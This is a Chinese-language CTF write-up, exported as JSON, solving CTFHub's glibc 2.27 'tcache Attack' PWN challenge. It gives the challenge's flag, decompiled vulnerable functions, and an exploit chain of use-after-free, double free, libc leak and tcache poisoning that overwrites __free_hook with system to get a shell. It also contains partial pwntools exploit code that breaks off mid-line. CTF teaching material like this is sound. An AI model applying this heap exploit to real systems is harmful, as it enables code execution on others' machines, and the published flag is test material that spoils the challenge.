{"id":110181,"date":"2026-09-26T09:57:06","date_gmt":"2026-09-26T01:57:06","guid":{"rendered":"https:\/\/www.wsisp.com\/helps\/110181.html"},"modified":"2026-09-26T09:57:06","modified_gmt":"2026-09-26T01:57:06","slug":"writeup-4-ctfhub-pwn-tcache-attack","status":"publish","type":"post","link":"https:\/\/www.wsisp.com\/helps\/110181.html","title":{"rendered":"Writeup 4 CTFHub PWN Tcache Attack"},"content":{"rendered":"<h2>Writeup 4 CTFHub PWN Tcache Attack<\/h2>\n<h3>\u4e00\u3001\u9898\u76ee\u4fe1\u606f<\/h3>\n<table>\n<tr>\u9879\u76ee\u503c<\/tr>\n<tbody>\n<tr>\n<td>\u9898\u76ee\u540d\u79f0<\/td>\n<td>tcache Attack<\/td>\n<\/tr>\n<tr>\n<td>\u7a0b\u5e8f\u540d<\/td>\n<td>chunk<\/td>\n<\/tr>\n<tr>\n<td>\u67b6\u6784<\/td>\n<td>64 \u4f4d<\/td>\n<\/tr>\n<tr>\n<td>libc<\/td>\n<td>glibc 2.27<\/td>\n<\/tr>\n<tr>\n<td>\u9632\u62a4<\/td>\n<td>Full RELRO &#043; Canary &#043; NX &#043; PIE<\/td>\n<\/tr>\n<tr>\n<td>\u8fdc\u7a0b<\/td>\n<td>nc challenge-b18d2a86b4ecea93.sandbox.ctfhub.com 20312<\/td>\n<\/tr>\n<tr>\n<td>Flag<\/td>\n<td>ctfhub{bb5c26fe3b593fb6403bd5c6}<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<hr \/>\n<h3>\u4e8c\u3001\u80cc\u666f\u77e5\u8bc6&#xff1a;tcache \u662f\u4ec0\u4e48<\/h3>\n<h4>2.1 tcache \u7684\u5f15\u5165<\/h4>\n<p>glibc 2.26 \u5f15\u5165\u4e86 tcache&#xff08;Thread Local Caching&#xff09;&#xff0c;\u6bcf\u4e2a\u7ebf\u7a0b\u7ef4\u62a4\u4e00\u4e2a\u672c\u5730\u7f13\u5b58&#xff0c;\u7528\u4e8e\u52a0\u901f\u5c0f\u5185\u5b58\u5757\u7684\u5206\u914d\u548c\u91ca\u653e\u3002<\/p>\n<ul>\n<li>\u6bcf\u4e2a\u7ebf\u7a0b\u6709 64 \u4e2a tcache bin&#xff0c;\u6bcf\u4e2a bin \u5bf9\u5e94\u4e00\u79cd chunk \u5927\u5c0f<\/li>\n<li>\u6bcf\u4e2a bin \u6700\u591a\u7f13\u5b58 7 \u4e2a chunk<\/li>\n<li>chunk \u5927\u5c0f\u8303\u56f4&#xff1a;0x20 \u5230 0x410&#xff08;\u5bf9\u9f50\u540e&#xff09;<\/li>\n<\/ul>\n<h4>2.2 tcache \u7684\u7ed3\u6784<\/h4>\n<p><span class=\"token keyword\">typedef<\/span> <span class=\"token keyword\">struct<\/span> <span class=\"token class-name\">tcache_perthread_struct<\/span> <span class=\"token punctuation\">{<\/span><br \/>\n    <span class=\"token keyword\">char<\/span> counts<span class=\"token punctuation\">[<\/span>TCACHE_MAX_BINS<span class=\"token punctuation\">]<\/span><span class=\"token punctuation\">;<\/span>      <span class=\"token comment\">\/\/ \u6bcf\u4e2a bin \u7684 chunk \u6570\u91cf<\/span><br \/>\n    tcache_entry <span class=\"token operator\">*<\/span>entries<span class=\"token punctuation\">[<\/span>TCACHE_MAX_BINS<span class=\"token punctuation\">]<\/span><span class=\"token punctuation\">;<\/span>  <span class=\"token comment\">\/\/ \u6bcf\u4e2a bin \u7684\u94fe\u8868\u5934<\/span><br \/>\n<span class=\"token punctuation\">}<\/span> tcache_perthread_struct<span class=\"token punctuation\">;<\/span><\/p>\n<p><span class=\"token keyword\">typedef<\/span> <span class=\"token keyword\">struct<\/span> <span class=\"token class-name\">tcache_entry<\/span> <span class=\"token punctuation\">{<\/span><br \/>\n    <span class=\"token keyword\">struct<\/span> <span class=\"token class-name\">tcache_entry<\/span> <span class=\"token operator\">*<\/span>next<span class=\"token punctuation\">;<\/span>   <span class=\"token comment\">\/\/ \u6307\u5411\u4e0b\u4e00\u4e2a\u7a7a\u95f2 chunk&#xff08;\u5728 chunk \u7684 mem \u504f\u79fb 0x00 \u5904&#xff09;<\/span><br \/>\n    <span class=\"token keyword\">struct<\/span> <span class=\"token class-name\">tcache_key<\/span> key<span class=\"token punctuation\">;<\/span>       <span class=\"token comment\">\/\/ \u7528\u4e8e double free \u68c0\u6d4b&#xff08;glibc 2.29&#043; \u624d\u6709&#xff09;<\/span><br \/>\n<span class=\"token punctuation\">}<\/span> tcache_entry<span class=\"token punctuation\">;<\/span><\/p>\n<p>\u5173\u952e\u70b9&#xff1a;next \u6307\u9488\u5728 chunk \u7684 mem \u504f\u79fb 0x00 \u5904&#xff0c;\u5373 fd \u5b57\u6bb5\u7684\u4f4d\u7f6e\u3002<\/p>\n<h4>2.3 tcache \u7684\u5206\u914d\u4e0e\u91ca\u653e<\/h4>\n<p>\u91ca\u653e&#xff08;free&#xff09;\u65f6&#xff1a;<\/p>\n<li>\u6839\u636e chunk \u5927\u5c0f\u627e\u5230\u5bf9\u5e94\u7684 tcache bin<\/li>\n<li>\u5982\u679c bin \u672a\u6ee1&#xff08;count &lt; 7&#xff09;&#xff0c;\u628a chunk \u63d2\u5165\u94fe\u8868\u5934\u90e8<\/li>\n<li>\u5982\u679c bin \u5df2\u6ee1&#xff0c;\u8d70\u6b63\u5e38\u7684 free \u6d41\u7a0b&#xff08;\u8fdb\u5165 fastbin \/ unsorted bin \/ smallbin \/ largebin&#xff09;<\/li>\n<p>\u5206\u914d&#xff08;malloc&#xff09;\u65f6&#xff1a;<\/p>\n<li>\u6839\u636e\u8bf7\u6c42\u5927\u5c0f\u627e\u5230\u5bf9\u5e94\u7684 tcache bin<\/li>\n<li>\u5982\u679c bin \u975e\u7a7a&#xff0c;\u53d6\u51fa\u94fe\u8868\u5934\u90e8 chunk \u8fd4\u56de<\/li>\n<li>\u5982\u679c bin \u4e3a\u7a7a&#xff0c;\u8d70\u6b63\u5e38\u7684 malloc \u6d41\u7a0b<\/li>\n<h4>2.4 glibc 2.27 \u7684 tcache \u6f0f\u6d1e<\/h4>\n<p>glibc 2.27 \u7684 tcache \u6ca1\u6709 double free \u68c0\u67e5&#xff0c;\u53ef\u4ee5\u8fde\u7eed free \u540c\u4e00\u4e2a chunk \u4e24\u6b21&#xff0c;\u5f62\u6210 double free\u3002<\/p>\n<p>glibc 2.29 \u624d\u5f15\u5165 key \u5b57\u6bb5\u7528\u4e8e double free \u68c0\u6d4b\u3002<\/p>\n<hr \/>\n<h3>\u4e09\u3001\u7a0b\u5e8f\u5206\u6790<\/h3>\n<h4>3.1 \u9632\u62a4\u68c0\u67e5<\/h4>\n<p>$ checksec <span class=\"token parameter variable\">&#8211;file<\/span><span class=\"token operator\">&#061;<\/span>chunk<br \/>\nRELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE<br \/>\nFull RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   <span class=\"token number\">84<\/span> Symbols        No       <span class=\"token number\">0<\/span>               <span class=\"token number\">3<\/span>               chunk<\/p>\n<ul>\n<li>Full RELRO&#xff1a;GOT \u8868\u53ea\u8bfb&#xff0c;\u65e0\u6cd5\u8986\u5199 GOT<\/li>\n<li>Canary&#xff1a;\u6808\u4fdd\u62a4<\/li>\n<li>NX&#xff1a;\u5806\u4e0d\u53ef\u6267\u884c<\/li>\n<li>PIE&#xff1a;\u4ee3\u7801\u6bb5\u968f\u673a\u5316<\/li>\n<\/ul>\n<p>\u7ed3\u8bba&#xff1a;\u65e0\u6cd5\u8986\u5199 GOT&#xff0c;\u53ea\u80fd\u6253 __free_hook \u6216 __malloc_hook\u3002<\/p>\n<h4>3.2 \u529f\u80fd\u5206\u6790<\/h4>\n<p>\u7a0b\u5e8f\u662f\u4e00\u4e2a&#034;\u9b54\u6cd5\u4e66&#034;\u7ba1\u7406\u7cfb\u7edf&#xff0c;\u83dc\u5355\u5982\u4e0b&#xff1a;<\/p>\n<p>1. create a book       -&gt; add()<br \/>\n2. show the content    -&gt; show()<br \/>\n3. throw a book        -&gt; delete()<br \/>\n4. write something     -&gt; edit()  &#xff08;\u7a7a\u51fd\u6570&#xff09;<br \/>\n5. exit the world      -&gt; exit()<\/p>\n<p>add \u51fd\u6570&#xff1a;<\/p>\n<p><span class=\"token keyword\">int<\/span> <span class=\"token function\">add<\/span><span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span><br \/>\n<span class=\"token punctuation\">{<\/span><br \/>\n  <span class=\"token keyword\">int<\/span> nbytes<span class=\"token punctuation\">;<\/span> <span class=\"token comment\">\/\/ size<\/span><br \/>\n  <span class=\"token keyword\">int<\/span> nbytes_4<span class=\"token punctuation\">;<\/span> <span class=\"token comment\">\/\/ idx<\/span><br \/>\n  <span class=\"token punctuation\">.<\/span><span class=\"token punctuation\">.<\/span><span class=\"token punctuation\">.<\/span><br \/>\n  <span class=\"token function\">printf<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string\">&#034;Give me a book ID: &#034;<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n  <span class=\"token function\">scanf<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string\">&#034;%d&#034;<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token operator\">&amp;<\/span>nbytes_4<span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n  <span class=\"token function\">printf<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string\">&#034;how long: &#034;<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n  <span class=\"token function\">scanf<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string\">&#034;%d&#034;<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token operator\">&amp;<\/span>nbytes<span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n  <span class=\"token keyword\">if<\/span> <span class=\"token punctuation\">(<\/span> nbytes_4 <span class=\"token operator\">&gt;&#061;<\/span> <span class=\"token number\">0<\/span> <span class=\"token operator\">&amp;&amp;<\/span> nbytes_4 <span class=\"token operator\">&lt;&#061;<\/span> <span class=\"token number\">49<\/span> <span class=\"token punctuation\">)<\/span><br \/>\n  <span class=\"token punctuation\">{<\/span><br \/>\n    <span class=\"token keyword\">if<\/span> <span class=\"token punctuation\">(<\/span> nbytes <span class=\"token operator\">&lt;<\/span> <span class=\"token number\">0<\/span> <span class=\"token punctuation\">)<\/span><br \/>\n      <span class=\"token keyword\">return<\/span> <span class=\"token function\">puts<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string\">&#034;too large!&#034;<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n    <span class=\"token keyword\">else<\/span><br \/>\n    <span class=\"token punctuation\">{<\/span><br \/>\n      chunk<span class=\"token punctuation\">[<\/span>nbytes_4<span class=\"token punctuation\">]<\/span> <span class=\"token operator\">&#061;<\/span> <span class=\"token function\">malloc<\/span><span class=\"token punctuation\">(<\/span>nbytes<span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n      size<span class=\"token punctuation\">[<\/span>nbytes_4<span class=\"token punctuation\">]<\/span> <span class=\"token operator\">&#061;<\/span> nbytes<span class=\"token punctuation\">;<\/span><br \/>\n      <span class=\"token function\">printf<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string\">&#034;Content: &#034;<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n      <span class=\"token function\">read<\/span><span class=\"token punctuation\">(<\/span><span class=\"token number\">0<\/span><span class=\"token punctuation\">,<\/span> chunk<span class=\"token punctuation\">[<\/span>nbytes_4<span class=\"token punctuation\">]<\/span><span class=\"token punctuation\">,<\/span> nbytes<span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n      <span class=\"token keyword\">return<\/span> <span class=\"token function\">puts<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string\">&#034;Done!\\\\n&#034;<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n    <span class=\"token punctuation\">}<\/span><br \/>\n  <span class=\"token punctuation\">}<\/span><br \/>\n<span class=\"token punctuation\">}<\/span><\/p>\n<ul>\n<li>idx \u8303\u56f4&#xff1a;0 \u5230 49&#xff08;chunk \u6570\u7ec4\u6709 50 \u4e2a\u5143\u7d20&#xff09;<\/li>\n<li>size \u53ef\u4ee5\u662f\u4efb\u610f\u975e\u8d1f\u6574\u6570<\/li>\n<li>read \u7684\u957f\u5ea6\u6070\u597d\u662f nbytes&#xff0c;\u6ca1\u6709\u6ea2\u51fa<\/li>\n<\/ul>\n<p>delete \u51fd\u6570&#xff1a;<\/p>\n<p>__int64 <span class=\"token function\">delete<\/span><span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span><br \/>\n<span class=\"token punctuation\">{<\/span><br \/>\n  <span class=\"token keyword\">unsigned<\/span> <span class=\"token keyword\">int<\/span> v1<span class=\"token punctuation\">;<\/span> <span class=\"token comment\">\/\/ idx<\/span><br \/>\n  <span class=\"token punctuation\">.<\/span><span class=\"token punctuation\">.<\/span><span class=\"token punctuation\">.<\/span><br \/>\n  <span class=\"token function\">puts<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string\">&#034;Which one to throw?&#034;<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n  <span class=\"token function\">scanf<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string\">&#034;%d&#034;<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token operator\">&amp;<\/span>v1<span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n  <span class=\"token keyword\">if<\/span> <span class=\"token punctuation\">(<\/span> v1 <span class=\"token operator\">&lt;&#061;<\/span> <span class=\"token number\">0x32<\/span> <span class=\"token punctuation\">)<\/span>   <span class=\"token comment\">\/\/ 50<\/span><br \/>\n  <span class=\"token punctuation\">{<\/span><br \/>\n    <span class=\"token function\">free<\/span><span class=\"token punctuation\">(<\/span>chunk<span class=\"token punctuation\">[<\/span>v1<span class=\"token punctuation\">]<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n    <span class=\"token keyword\">return<\/span> <span class=\"token function\">puts<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string\">&#034;Done!\\\\n&#034;<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n  <span class=\"token punctuation\">}<\/span><br \/>\n  <span class=\"token keyword\">else<\/span><br \/>\n    <span class=\"token keyword\">return<\/span> <span class=\"token function\">puts<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string\">&#034;Wrong!\\\\n&#034;<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n<span class=\"token punctuation\">}<\/span><\/p>\n<ul>\n<li>idx \u8303\u56f4&#xff1a;0 \u5230 50<\/li>\n<li>free \u540e\u6ca1\u6709\u628a chunk[v1] \u7f6e 0&#xff0c;\u5b58\u5728 UAF<\/li>\n<\/ul>\n<p>show \u51fd\u6570&#xff1a;<\/p>\n<p><span class=\"token keyword\">unsigned<\/span> __int64 <span class=\"token function\">show<\/span><span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span><br \/>\n<span class=\"token punctuation\">{<\/span><br \/>\n  <span class=\"token keyword\">int<\/span> v1<span class=\"token punctuation\">;<\/span> <span class=\"token comment\">\/\/ idx<\/span><br \/>\n  <span class=\"token punctuation\">.<\/span><span class=\"token punctuation\">.<\/span><span class=\"token punctuation\">.<\/span><br \/>\n  <span class=\"token function\">printf<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string\">&#034;Which book do you want to show?&#034;<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n  <span class=\"token function\">scanf<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string\">&#034;%d&#034;<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token operator\">&amp;<\/span>v1<span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n  <span class=\"token function\">printf<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string\">&#034;Content: %s&#034;<\/span><span class=\"token punctuation\">,<\/span> chunk<span class=\"token punctuation\">[<\/span>v1<span class=\"token punctuation\">]<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n  <span class=\"token punctuation\">.<\/span><span class=\"token punctuation\">.<\/span><span class=\"token punctuation\">.<\/span><br \/>\n<span class=\"token punctuation\">}<\/span><\/p>\n<ul>\n<li>idx \u6ca1\u6709\u8303\u56f4\u68c0\u67e5&#xff0c;\u53ef\u4ee5\u8d8a\u754c\u8bfb<\/li>\n<li>UAF&#xff1a;\u53ef\u4ee5 show \u5df2\u91ca\u653e\u7684 chunk&#xff0c;\u6cc4\u9732 fd<\/li>\n<\/ul>\n<p>edit \u51fd\u6570&#xff1a;<\/p>\n<p>__int64 <span class=\"token function\">edit<\/span><span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span><br \/>\n<span class=\"token punctuation\">{<\/span><br \/>\n  <span class=\"token function\">printf<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string\">&#034;Nothing~&#034;<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n  <span class=\"token keyword\">return<\/span> <span class=\"token number\">0<\/span><span class=\"token punctuation\">;<\/span><br \/>\n<span class=\"token punctuation\">}<\/span><\/p>\n<ul>\n<li>\u7a7a\u51fd\u6570&#xff0c;\u6ca1\u6709\u7f16\u8f91\u529f\u80fd<\/li>\n<\/ul>\n<h4>3.3 \u5168\u5c40\u53d8\u91cf\u5e03\u5c40<\/h4>\n<p>$ readelf <span class=\"token parameter variable\">-s<\/span> chunk <span class=\"token operator\">|<\/span> <span class=\"token function\">grep<\/span> <span class=\"token parameter variable\">-E<\/span> <span class=\"token string\">&#034;chunk|size&#034;<\/span><br \/>\n    <span class=\"token number\">48<\/span>: 0000000000202060   <span class=\"token number\">400<\/span> OBJECT  GLOBAL DEFAULT   <span class=\"token number\">24<\/span> size<br \/>\n    <span class=\"token number\">53<\/span>: 0000000000202200   <span class=\"token number\">400<\/span> OBJECT  GLOBAL DEFAULT   <span class=\"token number\">24<\/span> chunk<\/p>\n<table>\n<tr>\u53d8\u91cf\u5730\u5740\u5927\u5c0f\u5143\u7d20\u6570<\/tr>\n<tbody>\n<tr>\n<td>size<\/td>\n<td>0x202060<\/td>\n<td>400 \u5b57\u8282<\/td>\n<td>100 \u4e2a int&#xff08;\u5b9e\u9645\u53ea\u7528 50 \u4e2a&#xff09;<\/td>\n<\/tr>\n<tr>\n<td>chunk<\/td>\n<td>0x202200<\/td>\n<td>400 \u5b57\u8282<\/td>\n<td>50 \u4e2a __int64<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>chunk \u6570\u7ec4\u6709 50 \u4e2a\u5143\u7d20&#xff0c;\u4e0d\u662f 10 \u4e2a\u3002<\/p>\n<h4>3.4 \u6f0f\u6d1e\u603b\u7ed3<\/h4>\n<table>\n<tr>\u6f0f\u6d1e\u4f4d\u7f6e\u8bf4\u660e<\/tr>\n<tbody>\n<tr>\n<td>UAF<\/td>\n<td>delete<\/td>\n<td>free \u540e\u6ca1\u6709\u628a chunk[idx] \u7f6e 0<\/td>\n<\/tr>\n<tr>\n<td>\u4efb\u610f\u5730\u5740\u8bfb<\/td>\n<td>show<\/td>\n<td>idx \u6ca1\u6709\u8303\u56f4\u68c0\u67e5&#xff0c;\u53ef\u4ee5\u8d8a\u754c\u8bfb<\/td>\n<\/tr>\n<tr>\n<td>double free<\/td>\n<td>delete<\/td>\n<td>glibc 2.27 \u7684 tcache \u6ca1\u6709 double free \u68c0\u67e5<\/td>\n<\/tr>\n<tr>\n<td>\u7a7a edit<\/td>\n<td>edit<\/td>\n<td>\u6ca1\u6709\u7f16\u8f91\u529f\u80fd&#xff0c;\u65e0\u6cd5\u76f4\u63a5\u4fee\u6539\u5df2\u91ca\u653e chunk \u7684 fd<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<hr \/>\n<h3>\u56db\u3001\u5229\u7528\u601d\u8def<\/h3>\n<h4>4.1 \u6838\u5fc3\u76ee\u6807<\/h4>\n<li>\u6cc4\u9732 libc \u57fa\u5740&#xff1a;\u5229\u7528 UAF \u6cc4\u9732 unsorted bin \u4e2d\u7684 fd<\/li>\n<li>tcache poisoning&#xff1a;\u4fee\u6539 tcache \u4e2d chunk \u7684 fd&#xff0c;\u8ba9 malloc \u8fd4\u56de __free_hook<\/li>\n<li>\u8986\u5199 __free_hook \u4e3a system<\/li>\n<li>\u91ca\u653e\u5185\u5bb9\u4e3a \/bin\/sh \u7684 chunk&#xff0c;\u89e6\u53d1 system(&#034;\/bin\/sh&#034;)<\/li>\n<h4>4.2 \u4e3a\u4ec0\u4e48\u6253 __free_hook \u800c\u4e0d\u662f __malloc_hook<\/h4>\n<ul>\n<li>Full RELRO&#xff1a;GOT \u8868\u53ea\u8bfb&#xff0c;\u4e0d\u80fd\u8986\u5199 GOT<\/li>\n<li>__malloc_hook&#xff1a;malloc \u7684\u53c2\u6570\u662f size&#xff0c;\u4e0d\u662f\u5b57\u7b26\u4e32\u6307\u9488&#xff0c;system(size) \u4e0d\u4f1a\u6267\u884c \/bin\/sh<\/li>\n<li>__free_hook&#xff1a;free \u7684\u53c2\u6570\u662f chunk \u7684 mem \u6307\u9488&#xff0c;\u5982\u679c chunk \u5185\u5bb9\u4e3a \/bin\/sh&#xff0c;system(&#034;\/bin\/sh&#034;) \u5c31\u80fd\u6267\u884c<\/li>\n<\/ul>\n<h4>4.3 \u6cc4\u9732 libc \u7684\u539f\u7406<\/h4>\n<p>tcache \u7684 0x90 \u94fe\u6700\u591a\u7f13\u5b58 7 \u4e2a chunk\u3002<\/p>\n<ul>\n<li>\u7533\u8bf7 8 \u4e2a 0x80 \u7684 chunk&#xff08;size 0x90&#xff09;<\/li>\n<li>\u91ca\u653e\u524d 7 \u4e2a&#xff0c;\u586b\u6ee1 tcache \u7684 0x90 \u94fe<\/li>\n<li>\u91ca\u653e\u7b2c 8 \u4e2a&#xff0c;tcache \u5df2\u6ee1&#xff0c;\u8fdb\u5165 unsorted bin<\/li>\n<li>unsorted bin \u4e2d\u7684 chunk&#xff0c;fd \u6307\u5411 main_arena &#043; 96<\/li>\n<li>show(7) \u6cc4\u9732 fd&#xff0c;\u5f97\u5230 main_arena &#043; 96<\/li>\n<li>libc_base &#061; leak &#8211; 96 &#8211; 0x10 &#8211; __malloc_hook<\/li>\n<\/ul>\n<p>\u4e3a\u4ec0\u4e48\u662f 96 &#043; 0x10 &#043; __malloc_hook&#xff1f;<\/p>\n<ul>\n<li>unsorted bin \u7684 fd \u6307\u5411 main_arena &#043; 96&#xff08;main_arena \u7684 bins[0] \u504f\u79fb&#xff09;<\/li>\n<li>main_arena \u5728 libc \u4e2d\u7684\u504f\u79fb\u662f __malloc_hook &#043; 0x10<\/li>\n<li>\u6240\u4ee5 libc_base &#061; leak &#8211; 96 &#8211; 0x10 &#8211; __malloc_hook<\/li>\n<\/ul>\n<h4>4.4 tcache poisoning \u7684\u539f\u7406<\/h4>\n<p>tcache \u7684 next \u6307\u9488\u5728 chunk \u7684 mem \u504f\u79fb 0x00 \u5904\u3002<\/p>\n<p>double free \u540e&#xff1a;<\/p>\n<p>tcache 0x90 \u94fe&#xff1a;chunk 0 -&gt; chunk 0<\/p>\n<p>add(0, 0x80, p64(free_hook)) \u65f6&#xff1a;<\/p>\n<li>malloc \u53d6\u51fa chunk 0&#xff0c;tcache \u5934\u90e8\u53d8\u4e3a chunk 0-&gt;next&#xff08;\u5373 chunk 0&#xff09;<\/li>\n<li>read \u5199\u5165 p64(free_hook) \u5230 chunk 0 \u7684 mem&#xff0c;\u8986\u76d6 next \u4e3a free_hook<\/li>\n<li>\u6b64\u65f6 tcache \u5934\u90e8\u662f chunk 0&#xff0c;\u4f46 chunk 0-&gt;next \u88ab\u6539\u6210\u4e86 free_hook<\/li>\n<p>add(9, 0x80, b&#034;aaaa&#034;) \u65f6&#xff1a;<\/p>\n<li>malloc \u53d6\u51fa chunk 0&#xff0c;tcache \u5934\u90e8\u53d8\u4e3a chunk 0-&gt;next&#xff08;\u5373 free_hook&#xff09;<\/li>\n<li>read \u5199\u5165 b&#034;aaaa&#034; \u5230 chunk 0 \u7684 mem<\/li>\n<p>add(10, 0x80, p64(system)) \u65f6&#xff1a;<\/p>\n<li>malloc \u53d6\u51fa free_hook&#xff08;tcache \u5934\u90e8\u662f free_hook&#xff09;<\/li>\n<li>read \u5199\u5165 p64(system) \u5230 free_hook<\/li>\n<li>__free_hook \u88ab\u8986\u5199\u4e3a system<\/li>\n<p>free(8) \u65f6&#xff1a;<\/p>\n<li>free(chunk 8)&#xff0c;chunk 8 \u7684\u5185\u5bb9\u662f \/bin\/sh<\/li>\n<li>__free_hook \u88ab\u89e6\u53d1&#xff0c;\u6267\u884c system(&#034;\/bin\/sh&#034;)<\/li>\n<li>getshell<\/li>\n<hr \/>\n<h3>\u4e94\u3001\u751f\u6210 Payload \u7684\u8fc7\u7a0b<\/h3>\n<h4>5.1 \u786e\u5b9a chunk \u5927\u5c0f<\/h4>\n<p>\u76ee\u6807&#xff1a;\u586b\u6ee1 tcache \u7684 0x90 \u94fe\u3002<\/p>\n<ul>\n<li>malloc(0x80) \u8fd4\u56de\u7684 chunk size \u662f 0x90&#xff08;0x80 \u5bf9\u9f50 &#043; 0x10 \u5934&#xff09;<\/li>\n<li>tcache \u7684 0x90 bin \u5bf9\u5e94 0x90 \u7684 chunk<\/li>\n<li>\u9700\u8981 7 \u4e2a 0x90 chunk \u586b\u6ee1 tcache<\/li>\n<\/ul>\n<p>\u6240\u4ee5\u7533\u8bf7 0x80 \u7684 chunk\u3002<\/p>\n<h4>5.2 \u6cc4\u9732 libc \u7684 payload<\/h4>\n<p><span class=\"token comment\"># 1. \u586b\u6ee1 tcache<\/span><br \/>\n<span class=\"token keyword\">for<\/span> i <span class=\"token keyword\">in<\/span> <span class=\"token builtin\">range<\/span><span class=\"token punctuation\">(<\/span><span class=\"token number\">7<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">:<\/span><br \/>\n    add<span class=\"token punctuation\">(<\/span>i<span class=\"token punctuation\">,<\/span> <span class=\"token number\">0x80<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token string\">b&#034;aaaa&#034;<\/span><span class=\"token punctuation\">)<\/span><\/p>\n<p><span class=\"token comment\"># 2. \u7b2c 8 \u4e2a chunk&#xff0c;\u8fdb\u5165 unsorted bin<\/span><br \/>\nadd<span class=\"token punctuation\">(<\/span><span class=\"token number\">7<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token number\">0x80<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token string\">b&#034;aaaa&#034;<\/span><span class=\"token punctuation\">)<\/span><\/p>\n<p><span class=\"token comment\"># 3. \/bin\/sh chunk<\/span><br \/>\nadd<span class=\"token punctuation\">(<\/span><span class=\"token number\">8<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token number\">0x90<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token string\">b&#034;\/bin\/sh\\\\x00&#034;<\/span><span class=\"token punctuation\">)<\/span><\/p>\n<p><span class=\"token comment\"># 4. \u91ca\u653e 0~7&#xff0c;\u586b\u6ee1 tcache &#043; \u7b2c 8 \u4e2a\u8fdb\u5165 unsorted bin<\/span><br \/>\n<span class=\"token keyword\">for<\/span> i <span class=\"token keyword\">in<\/span> <span class=\"token builtin\">range<\/span><span class=\"token punctuation\">(<\/span><span class=\"token number\">8<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">:<\/span><br \/>\n    free<span class=\"token punctuation\">(<\/span>i<span class=\"token punctuation\">)<\/span><\/p>\n<p><span class=\"token comment\"># 5. \u6cc4\u9732 libc<\/span><br \/>\nshow<span class=\"token punctuation\">(<\/span><span class=\"token number\">7<\/span><span class=\"token punctuation\">)<\/span><br \/>\nio<span class=\"token punctuation\">.<\/span>recvuntil<span class=\"token punctuation\">(<\/span><span class=\"token string\">b&#034;Content: &#034;<\/span><span class=\"token punctuation\">)<\/span><br \/>\nleak <span class=\"token operator\">&#061;<\/span> u64<span class=\"token punctuation\">(<\/span>io<span class=\"token punctuation\">.<\/span>recv<span class=\"token punctuation\">(<\/span><span class=\"token number\">6<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">.<\/span>ljust<span class=\"token punctuation\">(<\/span><span class=\"token number\">8<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token string\">b&#034;\\\\x00&#034;<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">)<\/span><br \/>\nlibc_base <span class=\"token operator\">&#061;<\/span> leak <span class=\"token operator\">&#8211;<\/span> <span class=\"token number\">96<\/span> <span class=\"token operator\">&#8211;<\/span> <span class=\"token number\">0x10<\/span> <span class=\"token operator\">&#8211;<\/span> libc<span class=\"token punctuation\">.<\/span>sym<span class=\"token punctuation\">[<\/span><span class=\"token string\">&#039;__malloc_hook&#039;<\/span><span class=\"token punctuation\">]<\/span><br \/>\nfree_hook <span class=\"token operator\">&#061;<\/span> libc_base <span class=\"token operator\">&#043;<\/span> libc<span class=\"token punctuation\">.<\/span>sym<span class=\"token punctuation\">[<\/span><span class=\"token string\">&#039;__free_hook&#039;<\/span><span class=\"token 